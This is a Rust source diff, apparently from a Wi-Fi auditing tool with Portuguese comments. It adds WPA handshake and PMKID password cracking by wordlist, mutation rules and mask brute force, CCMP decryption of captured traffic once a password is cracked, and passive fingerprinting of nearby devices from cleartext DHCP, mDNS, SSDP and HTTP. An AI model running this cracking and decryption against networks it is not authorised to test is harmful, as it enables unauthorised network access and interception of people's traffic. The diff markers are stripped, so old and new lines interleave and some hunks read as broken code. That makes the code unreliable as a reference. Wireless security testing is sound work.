pub fn crack_handshake<F: FnMut(u64) + Send>(
|
||||
hs: &Handshake,
|
||||
wordlist: impl AsRef<Path>,
|
||||
apply_rules: bool,
|
||||
progress: F,
|
||||
) -> Result<CrackReport> {
|
||||
let target = CrackTarget::from_handshake(hs).ok_or_else(|| {
|
||||
let target = target_for(hs)?;
|
||||
let file = File::open(wordlist)?;
|
||||
Ok(crack_reader(
|
||||
&target,
|
||||
BufReader::new(file),
|
||||
apply_rules,
|
||||
progress,
|
||||
))
|
||||
}
|
||||
|
||||
/// Quebra usando a lista embutida.
|
||||
pub fn crack_handshake_default<F: FnMut(u64) + Send>(
|
||||
hs: &Handshake,
|
||||
apply_rules: bool,
|
||||
progress: F,
|
||||
) -> Result<CrackReport> {
|
||||
let target = target_for(hs)?;
|
||||
Ok(crack_reader(
|
||||
&target,
|
||||
std::io::Cursor::new(default_wordlist().as_bytes()),
|
||||
apply_rules,
|
||||
progress,
|
||||
))
|
||||
}
|
||||
|
||||
fn target_for(hs: &Handshake) -> Result<CrackTarget> {
|
||||
CrackTarget::from_handshake(hs).ok_or_else(|| {
|
||||
SabiaError::InvalidInput(
|
||||
"handshake sem SSID, PMKID ou par de nonces suficiente para quebrar".into(),
|
||||
)
|
||||
})?;
|
||||
let file = File::open(wordlist)?;
|
||||
Ok(crack_reader(&target, BufReader::new(file), progress))
|
||||
})
|
||||
}
|
||||
|
||||
/// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil.
|
||||
pub fn crack_pcap<F: FnMut(u64)>(
|
||||
pub fn crack_pcap<F: FnMut(u64) + Send>(
|
||||
pcap: impl AsRef<Path>,
|
||||
wordlist: impl AsRef<Path>,
|
||||
bssid: Option<&str>,
|
||||
station: Option<&str>,
|
||||
apply_rules: bool,
|
||||
progress: F,
|
||||
) -> Result<CrackReport> {
|
||||
let mut reader = PcapReader::open(pcap)?;
|
||||
@@ -351,7 +471,89 @@ pub fn crack_pcap<F: FnMut(u64)>(
|
||||
let hs = table
|
||||
.first_crackable(bssid, station)
|
||||
.ok_or_else(|| SabiaError::InvalidInput("nenhum handshake quebrável na captura".into()))?;
|
||||
crack_handshake(hs, wordlist, progress)
|
||||
crack_handshake(hs, wordlist, apply_rules, progress)
|
||||
}
|
||||
|
||||
/// Força bruta por máscara (estilo hashcat `-a 3`): gera e testa cada
|
||||
/// combinação possível, sem depender de dicionário. Mesma paralelização por
|
||||
/// threads do `crack_reader`, mas gerando candidatos por índice (base
|
||||
/// mista) em vez de carregar tudo em memória — é o que permite máscaras com
|
||||
/// milhões/bilhões de combinações sem estourar RAM.
|
||||
pub fn crack_mask<F: FnMut(u64) + Send>(
|
||||
target: &CrackTarget,
|
||||
mask: &Mask,
|
||||
mut progress: F,
|
||||
) -> CrackReport {
|
||||
let start = Instant::now();
|
||||
let total = mask.total().unwrap_or(0);
|
||||
|
||||
let workers = std::thread::available_parallelism()
|
||||
.map(std::num::NonZeroUsize::get)
|
||||
.unwrap_or(1)
|
||||
.min(total.max(1) as usize) as u64;
|
||||
let chunk = total.div_ceil(workers.max(1)).max(1);
|
||||
|
||||
let tried = AtomicU64::new(0);
|
||||
let stop = AtomicBool::new(false);
|
||||
let found: Mutex<Option<String>> = Mutex::new(None);
|
||||
|
||||
std::thread::scope(|scope| {
|
||||
let mut from = 0u64;
|
||||
while from < total {
|
||||
let to = (from + chunk).min(total);
|
||||
let tried = &tried;
|
||||
let stop = &stop;
|
||||
let found = &found;
|
||||
scope.spawn(move || {
|
||||
for i in from..to {
|
||||
if stop.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
if let Some(candidate) = mask.candidate(i) {
|
||||
if valid_candidate(&candidate) && target.verify(&candidate) {
|
||||
*found.lock().unwrap() = Some(candidate);
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
return;
|
||||
}
|
||||
}
|
||||
tried.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
});
|
||||
from = to;
|
||||
}
|
||||
|
||||
scope.spawn(|| loop {
|
||||
std::thread::sleep(std::time::Duration::from_millis(120));
|
||||
let n = tried.load(Ordering::Relaxed);
|
||||
progress(n);
|
||||
if stop.load(Ordering::Relaxed) || n >= total {
|
||||
break;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
let final_tried = tried.load(Ordering::Relaxed);
|
||||
progress(final_tried);
|
||||
|
||||
CrackReport {
|
||||
password: found.into_inner().unwrap(),
|
||||
tried: final_tried,
|
||||
elapsed_ms: start.elapsed().as_millis() as u64,
|
||||
ssid: Some(target.ssid.clone()),
|
||||
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
|
||||
station: Some(crate::dot11::mac_to_string(&target.station)),
|
||||
method: Some(target.method().to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Quebra por máscara a partir de um handshake já montado.
|
||||
pub fn crack_handshake_mask<F: FnMut(u64) + Send>(
|
||||
hs: &Handshake,
|
||||
mask: &Mask,
|
||||
progress: F,
|
||||
) -> Result<CrackReport> {
|
||||
let target = target_for(hs)?;
|
||||
Ok(crack_mask(&target, mask, progress))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
@@ -360,6 +562,47 @@ mod tests {
|
||||
use crate::testutil::{handshake_frames, synthetic_handshake};
|
||||
use std::io::Cursor;
|
||||
|
||||
/// Mede só o tempo de descomprimir o dicionário embutido (gzip, ~39MB -> ~101MB),
|
||||
/// que acontece uma vez, na primeira chamada a `default_wordlist()`.
|
||||
#[test]
|
||||
#[ignore]
|
||||
fn bench_default_wordlist_decompress() {
|
||||
let start = Instant::now();
|
||||
let text = default_wordlist();
|
||||
let elapsed = start.elapsed();
|
||||
eprintln!(
|
||||
"descomprimiu {} linhas em {:.2?}",
|
||||
text.lines().count(),
|
||||
elapsed
|
||||
);
|
||||
}
|
||||
|
||||
/// Não é teste de verdade — mede candidatos/segundo pra guiar otimização
|
||||
/// de performance. `cargo test --release -p sabia-core -- --ignored
|
||||
/// --nocapture bench_crack_throughput`.
|
||||
#[test]
|
||||
#[ignore]
|
||||
fn bench_crack_throughput() {
|
||||
let (m1, m2) = handshake_frames("IEEE", "senha-que-nao-esta-na-lista", 2, false);
|
||||
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||
// Só uma fatia: a lista inteira (9,7 milhões) levaria minutos — o
|
||||
// objetivo aqui é medir candidatos/s, não o tempo total.
|
||||
let sample: String = default_wordlist()
|
||||
.lines()
|
||||
.take(500_000)
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
let start = Instant::now();
|
||||
let report = crack_reader(&target, Cursor::new(sample.as_bytes()), false, |_| {});
|
||||
let elapsed = start.elapsed();
|
||||
let per_sec = report.tried as f64 / elapsed.as_secs_f64();
|
||||
eprintln!(
|
||||
"{} candidatos em {:.2?} = {:.1}/s",
|
||||
report.tried, elapsed, per_sec
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pbkdf2_matches_rfc6070_vector() {
|
||||
let out = pbkdf2_sha1(b"password", b"salt", 1, 20);
|
||||
@@ -386,6 +629,7 @@ mod tests {
|
||||
let report = crack_reader(
|
||||
&target,
|
||||
Cursor::new(b"errada\noutra\npassword\nnunca\n".to_vec()),
|
||||
false,
|
||||
|_| progress_calls += 1,
|
||||
);
|
||||
assert_eq!(report.password.as_deref(), Some("password"));
|
||||
@@ -400,7 +644,12 @@ mod tests {
|
||||
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &[]);
|
||||
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||
assert_eq!(target.method(), "PMKID");
|
||||
let report = crack_reader(&target, Cursor::new(b"nada\npassword\n".to_vec()), |_| {});
|
||||
let report = crack_reader(
|
||||
&target,
|
||||
Cursor::new(b"nada\npassword\n".to_vec()),
|
||||
false,
|
||||
|_| {},
|
||||
);
|
||||
assert_eq!(report.password.as_deref(), Some("password"));
|
||||
}
|
||||
|
||||
@@ -417,10 +666,46 @@ mod tests {
|
||||
let (m1, m2) = handshake_frames("IEEE", "senha-correta", 2, false);
|
||||
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||
let report = crack_reader(&target, Cursor::new(b"senha-errada\n".to_vec()), |_| {});
|
||||
let report = crack_reader(
|
||||
&target,
|
||||
Cursor::new(b"senha-errada\n".to_vec()),
|
||||
false,
|
||||
|_| {},
|
||||
);
|
||||
assert!(report.password.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rules_find_a_mutated_variant_not_present_verbatim() {
|
||||
// A senha de verdade é "wifi12345" — não está na lista, mas é um
|
||||
// sufixo numérico de "wifi" que `rules::expand` gera.
|
||||
let (m1, m2) = handshake_frames("IEEE", "wifi12345", 2, false);
|
||||
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||
|
||||
let without_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), false, |_| {});
|
||||
assert!(without_rules.password.is_none());
|
||||
|
||||
let with_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), true, |_| {});
|
||||
assert_eq!(with_rules.password.as_deref(), Some("wifi12345"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mask_crack_finds_a_numeric_password() {
|
||||
// Máscara minúscula de propósito (só 10 combinações): cada candidato
|
||||
// é um PBKDF2 de 4096 iterações, pesado até em paralelo — um brute
|
||||
// force de verdade (ex.: ?d×8, 100 milhões) é coisa pra uso real,
|
||||
// não pra um teste unitário que roda em `cargo test` toda hora.
|
||||
let (m1, m2) = handshake_frames("IEEE", "wifiabc7", 2, false);
|
||||
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||
let mask = Mask::parse("wifiabc?d").expect("máscara válida");
|
||||
assert_eq!(mask.total(), Some(10));
|
||||
let report = crack_mask(&target, &mask, |_| {});
|
||||
assert_eq!(report.password.as_deref(), Some("wifiabc7"));
|
||||
assert!(report.tried > 0);
|
||||
}
|
||||
|
||||
fn hex_bytes(s: &str) -> Vec<u8> {
|
||||
(0..s.len())
|
||||
.step_by(2)
|
||||
|
||||
@@ -79,7 +79,33 @@ pub struct ManagementInfo {
|
||||
pub akm: Vec<String>,
|
||||
pub wps: bool,
|
||||
pub pmf: bool,
|
||||
pub pmf_required: bool,
|
||||
pub country: Option<String>,
|
||||
pub beacon_interval: Option<u16>,
|
||||
pub privacy: bool,
|
||||
pub phy: Vec<String>,
|
||||
pub width_mhz: Option<u16>,
|
||||
pub wps_locked: Option<bool>,
|
||||
pub wps_version: Option<String>,
|
||||
pub wps_manufacturer: Option<String>,
|
||||
pub wps_model: Option<String>,
|
||||
pub wps_model_number: Option<String>,
|
||||
pub wps_device_name: Option<String>,
|
||||
pub wps_serial: Option<String>,
|
||||
}
|
||||
|
||||
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
|
||||
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
|
||||
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct PayloadInfo {
|
||||
pub ip: Option<String>,
|
||||
pub hostname: Option<String>,
|
||||
pub os: Option<String>,
|
||||
pub device: Option<String>,
|
||||
pub manufacturer: Option<String>,
|
||||
pub model: Option<String>,
|
||||
pub service: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default)]
|
||||
@@ -323,6 +349,13 @@ impl<'a> Frame<'a> {
|
||||
let mut wpa1_present = false;
|
||||
let mut rsn = RsnInfo::default();
|
||||
|
||||
if matches!(self.kind, FrameKind::Beacon | FrameKind::ProbeResponse)
|
||||
&& self.body.len() >= 24 + 12
|
||||
{
|
||||
info.beacon_interval = Some(u16::from_le_bytes([self.body[24 + 8], self.body[24 + 9]]));
|
||||
}
|
||||
info.privacy = privacy;
|
||||
|
||||
let mut i = 0usize;
|
||||
while i + 2 <= ies.len() {
|
||||
let tag = ies[i];
|
||||
@@ -346,15 +379,44 @@ impl<'a> Frame<'a> {
|
||||
7 if len >= 2 => {
|
||||
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
|
||||
}
|
||||
45 => {
|
||||
add_phy(&mut info.phy, "n");
|
||||
if info.width_mhz.is_none() {
|
||||
info.width_mhz = Some(20);
|
||||
}
|
||||
}
|
||||
48 => {
|
||||
rsn_present = true;
|
||||
if let Some(parsed) = parse_rsn(val) {
|
||||
rsn = parsed;
|
||||
}
|
||||
}
|
||||
61 if len >= 2 => {
|
||||
if info.width_mhz.is_none() || info.width_mhz == Some(20) {
|
||||
info.width_mhz = Some(if val[1] & 0x04 != 0 { 40 } else { 20 });
|
||||
}
|
||||
}
|
||||
191 => add_phy(&mut info.phy, "ac"),
|
||||
192 if !val.is_empty() => {
|
||||
add_phy(&mut info.phy, "ac");
|
||||
info.width_mhz = Some(match val[0] {
|
||||
1 => 80,
|
||||
2 => 160,
|
||||
3 => 80,
|
||||
_ => info.width_mhz.unwrap_or(20),
|
||||
});
|
||||
}
|
||||
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
|
||||
1 => wpa1_present = true,
|
||||
4 => info.wps = true,
|
||||
4 => {
|
||||
info.wps = true;
|
||||
parse_wps(val, &mut info);
|
||||
}
|
||||
_ => {}
|
||||
},
|
||||
255 if !val.is_empty() => match val[0] {
|
||||
35 | 36 => add_phy(&mut info.phy, "ax"),
|
||||
106 | 108 => add_phy(&mut info.phy, "be"),
|
||||
_ => {}
|
||||
},
|
||||
_ => {}
|
||||
@@ -363,6 +425,7 @@ impl<'a> Frame<'a> {
|
||||
}
|
||||
|
||||
info.pmf = rsn.caps & 0x00c0 != 0;
|
||||
info.pmf_required = rsn.caps & 0x0040 != 0;
|
||||
if rsn_present {
|
||||
info.cipher = rsn.cipher.map(|c| c.label().to_string());
|
||||
info.akm = rsn.akm.labels();
|
||||
@@ -405,6 +468,598 @@ impl<'a> Frame<'a> {
|
||||
let end = (start + 4 + len).min(self.body.len());
|
||||
self.body.get(start..end)
|
||||
}
|
||||
|
||||
/// Tenta identificar a estação por payload não criptografado. Só olha
|
||||
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
|
||||
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
|
||||
/// + [`payload_info_from_llc`]).
|
||||
pub fn payload_info(&self) -> PayloadInfo {
|
||||
if self.protected || !self.kind.is_data() {
|
||||
return PayloadInfo::default();
|
||||
}
|
||||
let Some(payload) = self.body.get(self.header_len..) else {
|
||||
return PayloadInfo::default();
|
||||
};
|
||||
payload_info_from_llc(payload)
|
||||
}
|
||||
|
||||
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
|
||||
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
|
||||
pub fn qos_tid(&self) -> Option<u8> {
|
||||
if !self.kind.is_data() {
|
||||
return None;
|
||||
}
|
||||
let subtype = (self.fc >> 4) & 0b1111;
|
||||
if subtype & 0x8 == 0 {
|
||||
return None;
|
||||
}
|
||||
let mut offset = 24;
|
||||
if self.to_ds && self.from_ds {
|
||||
offset += 6;
|
||||
}
|
||||
self.body.get(offset).map(|b| b & 0x0f)
|
||||
}
|
||||
|
||||
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
|
||||
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
|
||||
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
|
||||
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
|
||||
pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
|
||||
if !self.protected || !self.kind.is_data() {
|
||||
return None;
|
||||
}
|
||||
let transmitter = self.addr2?;
|
||||
let tid = self.qos_tid().unwrap_or(0);
|
||||
let body = self.body.get(self.header_len..)?;
|
||||
crate::ccmp::decrypt_data(tk, &transmitter, tid, body)
|
||||
}
|
||||
}
|
||||
|
||||
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
|
||||
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
|
||||
/// com a TK conhecida.
|
||||
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
|
||||
let mut info = PayloadInfo::default();
|
||||
let Some(llc) = payload.get(..8) else {
|
||||
return info;
|
||||
};
|
||||
if llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03 {
|
||||
return info;
|
||||
}
|
||||
let ethertype = u16::from_be_bytes([llc[6], llc[7]]);
|
||||
let Some(rest) = payload.get(8..) else {
|
||||
return info;
|
||||
};
|
||||
match ethertype {
|
||||
0x0806 => parse_arp(rest, &mut info),
|
||||
0x0800 => parse_ipv4(rest, &mut info),
|
||||
_ => {}
|
||||
}
|
||||
info
|
||||
}
|
||||
|
||||
fn ipv4_string(bytes: &[u8]) -> Option<String> {
|
||||
(bytes.len() >= 4).then(|| format!("{}.{}.{}.{}", bytes[0], bytes[1], bytes[2], bytes[3]))
|
||||
}
|
||||
|
||||
fn private_ip(ip: &str) -> bool {
|
||||
let mut parts = ip.split('.');
|
||||
let (Some(a), Some(b)) = (
|
||||
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||
) else {
|
||||
return false;
|
||||
};
|
||||
a == 10
|
||||
|| (a == 172 && (16..=31).contains(&b))
|
||||
|| (a == 192 && b == 168)
|
||||
|| (a == 169 && b == 254)
|
||||
|| (a == 100 && (64..=127).contains(&b))
|
||||
}
|
||||
|
||||
fn parse_arp(payload: &[u8], info: &mut PayloadInfo) {
|
||||
if payload.len() < 28
|
||||
|| u16::from_be_bytes([payload[0], payload[1]]) != 1
|
||||
|| u16::from_be_bytes([payload[2], payload[3]]) != 0x0800
|
||||
|| payload[4] != 6
|
||||
|| payload[5] != 4
|
||||
{
|
||||
return;
|
||||
}
|
||||
if let Some(ip) = ipv4_string(&payload[14..18]) {
|
||||
if ip != "0.0.0.0" {
|
||||
info.ip = Some(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_ipv4(payload: &[u8], info: &mut PayloadInfo) {
|
||||
if payload.len() < 20 || payload[0] >> 4 != 4 {
|
||||
return;
|
||||
}
|
||||
let ihl = ((payload[0] & 0x0f) as usize) * 4;
|
||||
if ihl < 20 || payload.len() < ihl {
|
||||
return;
|
||||
}
|
||||
let protocol = payload[9];
|
||||
let src = ipv4_string(&payload[12..16]);
|
||||
let dst = ipv4_string(&payload[16..20]);
|
||||
if let Some(ip) = &src {
|
||||
if private_ip(ip) {
|
||||
info.ip = Some(ip.clone());
|
||||
}
|
||||
}
|
||||
|
||||
match protocol {
|
||||
17 => {
|
||||
let udp = &payload[ihl..];
|
||||
if udp.len() < 8 {
|
||||
return;
|
||||
}
|
||||
let sport = u16::from_be_bytes([udp[0], udp[1]]);
|
||||
let dport = u16::from_be_bytes([udp[2], udp[3]]);
|
||||
let data = &udp[8..];
|
||||
if sport == 68 || dport == 67 {
|
||||
parse_dhcp(data, info);
|
||||
} else if sport == 5353 || dport == 5353 {
|
||||
parse_dns(data, info, true);
|
||||
} else if sport == 53 || dport == 53 {
|
||||
parse_dns(data, info, false);
|
||||
} else if sport == 1900 || dport == 1900 {
|
||||
parse_ssdp(data, info);
|
||||
} else if let Some(ip) = &dst {
|
||||
if info.ip.is_none() && private_ip(ip) {
|
||||
info.ip = Some(ip.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
6 => {
|
||||
let tcp = &payload[ihl..];
|
||||
if tcp.len() < 20 {
|
||||
return;
|
||||
}
|
||||
let data_offset = ((tcp[12] >> 4) as usize) * 4;
|
||||
let sport = u16::from_be_bytes([tcp[0], tcp[1]]);
|
||||
let dport = u16::from_be_bytes([tcp[2], tcp[3]]);
|
||||
if data_offset >= 20 && tcp.len() > data_offset {
|
||||
let data = &tcp[data_offset..];
|
||||
if matches!(sport, 80 | 8080 | 8000 | 8888)
|
||||
|| matches!(dport, 80 | 8080 | 8000 | 8888)
|
||||
{
|
||||
parse_http(data, info);
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_dhcp(data: &[u8], info: &mut PayloadInfo) {
|
||||
if data.len() < 240 || data[236..240] != [0x63, 0x82, 0x53, 0x63] {
|
||||
return;
|
||||
}
|
||||
let mut requested_ip = None;
|
||||
let mut message_type = None;
|
||||
let mut pos = 240usize;
|
||||
while pos < data.len() {
|
||||
let code = data[pos];
|
||||
if code == 255 {
|
||||
break;
|
||||
}
|
||||
if code == 0 {
|
||||
pos += 1;
|
||||
continue;
|
||||
}
|
||||
if pos + 1 >= data.len() {
|
||||
break;
|
||||
}
|
||||
let len = data[pos + 1] as usize;
|
||||
let start = pos + 2;
|
||||
if start + len > data.len() {
|
||||
break;
|
||||
}
|
||||
let val = &data[start..start + len];
|
||||
match code {
|
||||
12 => info.hostname = Some(String::from_utf8_lossy(val).trim().to_string()),
|
||||
50 if len >= 4 => requested_ip = ipv4_string(val),
|
||||
53 if len == 1 => message_type = Some(val[0]),
|
||||
60 => {
|
||||
let vendor = String::from_utf8_lossy(val).trim().to_string();
|
||||
if let Some(os) = os_from_text(&vendor) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
if let Some(device) = device_from_text(&vendor) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
}
|
||||
81 => {
|
||||
let name = String::from_utf8_lossy(val).trim_matches('\0').to_string();
|
||||
if !name.is_empty() {
|
||||
info.hostname = Some(name.split('\0').next().unwrap_or(&name).to_string());
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
pos = start + len;
|
||||
}
|
||||
if message_type == Some(3) {
|
||||
if let Some(ip) = requested_ip {
|
||||
if ip != "0.0.0.0" {
|
||||
info.ip = Some(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
if info.hostname.as_deref() == Some("") {
|
||||
info.hostname = None;
|
||||
}
|
||||
if let Some(hostname) = info.hostname.as_deref() {
|
||||
if info.device.is_none() {
|
||||
info.device = device_from_text(hostname);
|
||||
}
|
||||
if info.os.is_none() {
|
||||
info.os = os_from_text(hostname);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn dns_name(data: &[u8], mut pos: usize) -> Option<(String, usize)> {
|
||||
let mut labels = Vec::new();
|
||||
let mut jumps = 0usize;
|
||||
let mut end = pos;
|
||||
let mut jumped = false;
|
||||
while pos < data.len() && jumps < 16 {
|
||||
let len = data[pos];
|
||||
if len == 0 {
|
||||
if !jumped {
|
||||
end = pos + 1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if len & 0xc0 == 0xc0 {
|
||||
if pos + 1 >= data.len() {
|
||||
return None;
|
||||
}
|
||||
let ptr = (((len & 0x3f) as usize) << 8) | data[pos + 1] as usize;
|
||||
if !jumped {
|
||||
end = pos + 2;
|
||||
}
|
||||
pos = ptr;
|
||||
jumps += 1;
|
||||
jumped = true;
|
||||
continue;
|
||||
}
|
||||
let len = len as usize;
|
||||
if pos + 1 + len > data.len() {
|
||||
return None;
|
||||
}
|
||||
labels.push(String::from_utf8_lossy(&data[pos + 1..pos + 1 + len]).into_owned());
|
||||
pos += 1 + len;
|
||||
if !jumped {
|
||||
end = pos;
|
||||
}
|
||||
}
|
||||
if labels.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some((labels.join("."), end))
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_dns(data: &[u8], info: &mut PayloadInfo, mdns: bool) {
|
||||
if data.len() < 12 {
|
||||
return;
|
||||
}
|
||||
let qd = u16::from_be_bytes([data[4], data[5]]) as usize;
|
||||
let an = u16::from_be_bytes([data[6], data[7]]) as usize;
|
||||
let mut pos = 12usize;
|
||||
for _ in 0..qd {
|
||||
let Some((name, next)) = dns_name(data, pos) else {
|
||||
return;
|
||||
};
|
||||
pos = next + 4;
|
||||
apply_dns_name(&name, info, mdns);
|
||||
}
|
||||
for _ in 0..an.min(24) {
|
||||
let Some((name, next)) = dns_name(data, pos) else {
|
||||
return;
|
||||
};
|
||||
if next + 10 > data.len() {
|
||||
return;
|
||||
}
|
||||
let kind = u16::from_be_bytes([data[next], data[next + 1]]);
|
||||
let rdlen = u16::from_be_bytes([data[next + 8], data[next + 9]]) as usize;
|
||||
let rdata = next + 10;
|
||||
if rdata + rdlen > data.len() {
|
||||
return;
|
||||
}
|
||||
if kind == 1 && rdlen == 4 {
|
||||
if let Some(ip) = ipv4_string(&data[rdata..rdata + 4]) {
|
||||
if private_ip(&ip) && (info.ip.is_none() || info.hostname.is_none()) {
|
||||
info.ip = Some(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
if kind == 16 {
|
||||
parse_txt(&data[rdata..rdata + rdlen], info);
|
||||
}
|
||||
apply_dns_name(&name, info, mdns);
|
||||
pos = rdata + rdlen;
|
||||
}
|
||||
if let Some(ip) = &info.ip {
|
||||
if !private_ip(ip) {
|
||||
info.ip = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_dns_name(name: &str, info: &mut PayloadInfo, mdns: bool) {
|
||||
let lower = name.to_ascii_lowercase();
|
||||
if let Some(service) = lower.strip_prefix('_') {
|
||||
info.service = Some(service.split('.').next().unwrap_or(service).to_string());
|
||||
if let Some(device) = device_from_service(&lower) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if mdns && lower.ends_with(".local") {
|
||||
let host = name.split('.').next().unwrap_or(name);
|
||||
if !host.is_empty() {
|
||||
info.hostname = Some(host.to_string());
|
||||
if let Some(device) = device_from_text(host) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
if let Some(os) = os_from_text(host) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_txt(data: &[u8], info: &mut PayloadInfo) {
|
||||
let mut pos = 0usize;
|
||||
while pos < data.len() {
|
||||
let len = data[pos] as usize;
|
||||
pos += 1;
|
||||
if pos + len > data.len() {
|
||||
break;
|
||||
}
|
||||
let txt = String::from_utf8_lossy(&data[pos..pos + len]);
|
||||
pos += len;
|
||||
let mut parts = txt.splitn(2, '=');
|
||||
let key = parts.next().unwrap_or("").to_ascii_lowercase();
|
||||
let value = parts.next().unwrap_or("");
|
||||
match key.as_str() {
|
||||
"model" | "md" => info.model = Some(value.to_string()),
|
||||
"os" => info.os = Some(value.to_string()),
|
||||
"device" | "product" => info.device = Some(value.to_string()),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_ssdp(data: &[u8], info: &mut PayloadInfo) {
|
||||
let text = String::from_utf8_lossy(data);
|
||||
for line in text.lines() {
|
||||
let Some((key, value)) = line.split_once(':') else {
|
||||
continue;
|
||||
};
|
||||
let key = key.trim().to_ascii_uppercase();
|
||||
let value = value.trim();
|
||||
match key.as_str() {
|
||||
"SERVER" | "USER-AGENT" => {
|
||||
if let Some(os) = os_from_text(value) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
if let Some(device) = device_from_text(value) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
if let Some(manufacturer) = manufacturer_from_text(value) {
|
||||
info.manufacturer = Some(manufacturer);
|
||||
}
|
||||
info.model = info.model.take().or_else(|| {
|
||||
value
|
||||
.split_whitespace()
|
||||
.find(|part| part.contains('/') && !part.contains("UPnP"))
|
||||
.map(str::to_string)
|
||||
});
|
||||
}
|
||||
"ST" | "NT" => {
|
||||
let lower = value.to_ascii_lowercase();
|
||||
if let Some(device) = device_from_service(&lower) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
info.service = info
|
||||
.service
|
||||
.take()
|
||||
.or_else(|| Some(value.rsplit(':').next().unwrap_or(value).to_string()));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_http(data: &[u8], info: &mut PayloadInfo) {
|
||||
let text = String::from_utf8_lossy(data);
|
||||
if !(text.starts_with("GET ") || text.starts_with("POST ") || text.starts_with("HEAD ")) {
|
||||
return;
|
||||
}
|
||||
for line in text.lines().take(64) {
|
||||
let Some((key, value)) = line.split_once(':') else {
|
||||
continue;
|
||||
};
|
||||
let key = key.trim().to_ascii_lowercase();
|
||||
let value = value.trim();
|
||||
match key.as_str() {
|
||||
"user-agent" | "server" => {
|
||||
if let Some(os) = os_from_text(value) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
if let Some(device) = device_from_text(value) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
}
|
||||
"host" if info.hostname.is_none() => {
|
||||
info.hostname = Some(value.split(':').next().unwrap_or(value).to_string());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn os_from_text(text: &str) -> Option<String> {
|
||||
let s = text.to_ascii_lowercase();
|
||||
let os = if s.contains("windows nt 10") || s.contains("windows 10") || s.contains("windows 11")
|
||||
{
|
||||
"Windows 10/11"
|
||||
} else if s.contains("windows") || s.contains("microsoft") {
|
||||
"Windows"
|
||||
} else if s.contains("ipados") || s.contains("ipad") {
|
||||
"iPadOS"
|
||||
} else if s.contains("iphone")
|
||||
